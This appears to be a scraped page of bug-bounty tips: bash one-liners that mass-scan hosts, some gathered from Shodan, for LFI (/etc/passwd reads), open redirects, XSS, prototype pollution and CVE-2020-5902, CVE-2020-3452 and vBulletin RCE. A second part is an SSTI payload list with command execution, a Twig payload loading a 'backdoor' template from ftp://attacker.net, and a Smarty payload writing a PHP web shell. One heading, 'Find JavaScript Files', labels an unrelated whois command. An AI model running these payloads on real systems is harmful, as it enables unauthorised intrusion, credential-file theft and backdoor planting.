Benchmarkkk

Happy Hunting !!!! Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with ♥ by the community. Contribute and enhance your bounty hunting arsenal! ## Quick Guide - **HOST:** Refers to a single hostname, domain, or IP address. - **HOSTS.txt:** Contains multiple hosts. - **URL:** Represents a URL, starting with HTTP/HTTPS. - **URLS.txt:** Contains multiple URLs. - **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution. - **OUT.txt:** or **OUT{N}.txt:** Target storage for results. --- ### Local File Inclusion > @dwisiswant0 ```bash gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' ``` ### Open Redirect > @dwisiswant0 ```bash export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"' ``` > @N3T_hunt3r ```bash cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null ``` ### XSS > @cihanmehmet ```bash gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt ``` > @fanimalikhack ```bash waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt ``` > @oliverrickfors ```bash cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")" ``` ### Prototype Pollution > @R0X4R ```bash subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE" ``` ### CVE-2020-5902 > @Madrobot_ ```bash shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done ``` ### CVE-2020-3452 > @vict0ni ```bash while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt ``` ### CVE-2022-0378 > @7h3h4ckv157 ```bash cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done ``` ### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution > @Madrobot_ ```bash shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done; ``` ### Find JavaScript Files > @D0cK3rG33k whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n ### Extract IPs from a File > @emenalf grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt ### Ports Scan without CloudFlare > @dwisiswant0 #BugBounty #bugbountytips Follow 👇👇👇👇👇👇👇👇👇👇

Happy Hunting!!!😎😎🚨🚨 SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %> #{3*3} #{ 3 * 3 } [[3*3]] ${2*2} @(3*3) ${= 3*3} {{= 7*7}} ${{7*7}} #{7*7} [=7*7] {{ request }} {{self}} {{dump(app)}} {{ [] .class.base.subclassesO }} {{''.class.mro()[l] .subclassesO}} for c in [1,2,3] %}{{ c,c,c }}{% endfor %} {{ []._class.base.subclasses_O }} {{['cat%20/etc/passwd']|filter('system')}} PHP {php}print "Hello"{/php} {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {$smarty.version} {php}echo id;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} Python {% debug %} {{settings.SECRET_KEY}} {% import foobar %} = Error {% import os %}{{os.system('whoami')}} #BugBounty #bugbountytips